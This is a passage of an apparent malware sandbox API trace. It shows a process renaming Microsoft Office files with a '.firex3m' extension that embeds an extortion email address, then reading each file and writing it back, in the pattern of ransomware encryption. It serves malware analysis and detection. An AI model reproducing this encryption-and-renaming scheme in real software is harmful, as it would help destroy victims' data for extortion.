[0149.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xea1) returned 0x723e700 [0149.796] GetProcessHeap () returned 0x630000 [0149.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xea1) returned 0x723c8f0 [0149.796] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.796] ReadFile (in: hFile=0x6a8, lpBuffer=0x723e700, nNumberOfBytesToRead=0xe80, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723e700*, lpNumberOfBytesRead=0x393ff0c*=0xe80, lpOverlapped=0x0) returned 1 [0149.838] GetProcessHeap () returned 0x630000 [0149.838] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0149.838] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.838] WriteFile (in: hFile=0x6a8, lpBuffer=0x723c8f0*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723c8f0*, lpNumberOfBytesWritten=0x393ff0c*=0xe80, lpOverlapped=0x0) returned 1 [0149.838] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.838] WriteFile (in: hFile=0x6a8, lpBuffer=0x723d76f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723d76f*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0149.839] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.839] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0149.839] CloseHandle (hObject=0x6a8) returned 1 [0149.839] GetProcessHeap () returned 0x630000 [0149.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723c8f0 | out: hHeap=0x630000) returned 1 [0149.839] GetProcessHeap () returned 0x630000 [0149.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723e700 | out: hHeap=0x630000) returned 1 [0149.839] GetProcessHeap () returned 0x630000 [0149.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0149.839] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xadb15e3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xadb15e3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1f4135ef, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0x393fd20, dwReserved1=0x723e700, cFileName="PDIR50F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PDIR50~1.FIR")) returned 0x6d5280 [0149.840] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0149.840] Sleep (dwMilliseconds=0x1) [0149.856] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL", len=0x3c | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL") returned 1 [0149.857] GetProcessHeap () returned 0x630000 [0149.857] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b70) returned 0x713f7f0 [0149.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0149.857] CloseHandle (hObject=0x700) returned 1 [0149.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\mso.acl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.859] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOACL~1.FIR")) returned 0x6d5240 [0149.859] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0149.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\mso.acl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0149.859] GetProcessHeap () returned 0x630000 [0149.859] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x732f238 [0149.860] GetProcessHeap () returned 0x630000 [0149.860] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733a668 [0149.861] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.861] ReadFile (in: hFile=0x700, lpBuffer=0x732f238, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x732f238*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0160.359] GetProcessHeap () returned 0x630000 [0160.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71774e8 [0160.359] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.360] WriteFile (in: hFile=0x700, lpBuffer=0x733a668*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733a668*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0160.360] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.360] WriteFile (in: hFile=0x700, lpBuffer=0x7345a67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7345a67*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.360] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.360] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.360] CloseHandle (hObject=0x700) returned 1 [0160.360] GetProcessHeap () returned 0x630000 [0160.360] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733a668 | out: hHeap=0x630000) returned 1 [0160.364] GetProcessHeap () returned 0x630000 [0160.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x732f238 | out: hHeap=0x630000) returned 1 [0160.365] GetProcessHeap () returned 0x630000 [0160.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71774e8 | out: hHeap=0x630000) returned 1 [0160.624] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x25886340, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc5a0, dwReserved0=0xcbc7496, dwReserved1=0x732f230, cFileName="MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOACL~1.FIR")) returned 0x6d5400 [0160.625] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0160.625] Sleep (dwMilliseconds=0x1) [0160.735] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl", len=0x64 | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl") returned 1 [0160.735] GetProcessHeap () returned 0x630000 [0160.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2be4) returned 0x707d3d0 [0160.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0160.736] CloseHandle (hObject=0x67c) returned 1 [0160.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16677f4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16677f4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x166ea6b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x750073, dwReserved1=0x700070, cFileName="sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLPDW~1.FIR")) returned 0x6d5440 [0160.737] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0160.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0160.737] GetProcessHeap () returned 0x630000 [0160.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0160.737] GetProcessHeap () returned 0x630000 [0160.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x717648 [0160.737] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.737] ReadFile (in: hFile=0x67c, lpBuffer=0x72b84a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.440] GetProcessHeap () returned 0x630000 [0166.440] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0166.440] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.440] WriteFile (in: hFile=0x67c, lpBuffer=0x717648*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.441] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.441] WriteFile (in: hFile=0x67c, lpBuffer=0x722a47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a47*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.441] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.441] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.441] CloseHandle (hObject=0x67c) returned 1 [0166.441] GetProcessHeap () returned 0x630000 [0166.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0166.441] GetProcessHeap () returned 0x630000 [0166.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0166.442] GetProcessHeap () returned 0x630000 [0166.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0166.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16677f4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16677f4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x29274ea8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13962, dwReserved0=0xcbc7496, dwReserved1=0x72b8498, cFileName="sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLPDW~1.FIR")) returned 0x6d5280 [0166.442] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0166.442] Sleep (dwMilliseconds=0x1) [0167.032] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap", len=0x6b | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap") returned 1 [0167.032] GetProcessHeap () returned 0x630000 [0167.032] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b88) returned 0x707d3d0 [0167.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt-pt\\powerviewres.pt-pt.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0167.033] CloseHandle (hObject=0x6b8) returned 1 [0167.033] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0167.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt-pt\\powerviewres.pt-pt.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt-pt\\powerviewres.pt-pt.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0167.034] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15be380c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f3b2, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="PowerViewRes.pt-PT.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0167.035] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0167.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt-pt\\powerviewres.pt-pt.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0167.035] GetProcessHeap () returned 0x630000 [0167.035] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0167.035] GetProcessHeap () returned 0x630000 [0167.035] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x708f408 [0167.036] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.036] ReadFile (in: hFile=0x6b8, lpBuffer=0x6f06978, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0174.584] GetProcessHeap () returned 0x630000 [0174.584] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0174.585] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.585] WriteFile (in: hFile=0x6b8, lpBuffer=0x708f408*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x708f408*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0174.586] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.586] WriteFile (in: hFile=0x6b8, lpBuffer=0x709a807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709a807*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0174.588] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.588] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0174.588] CloseHandle (hObject=0x6b8) returned 1 [0174.588] GetProcessHeap () returned 0x630000 [0174.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x708f408 | out: hHeap=0x630000) returned 1 [0174.588] GetProcessHeap () returned 0x630000 [0174.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0174.588] GetProcessHeap () returned 0x630000 [0174.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0174.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0174.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\PowerViewRes.pt-PT.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15be380c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e01cb96, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f3d6, dwReserved0=0xcbc7496, dwReserved1=0x6f06970, cFileName="PowerViewRes.pt-PT.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0174.589] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0174.589] Sleep (dwMilliseconds=0x1) [0177.001] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll") returned 1 [0177.001] GetProcessHeap () returned 0x630000 [0177.001] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b44) returned 0x707d3d0 [0177.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1087\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0179.525] CloseHandle (hObject=0x6a0) returned 1 [0179.525] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0179.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1087\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program 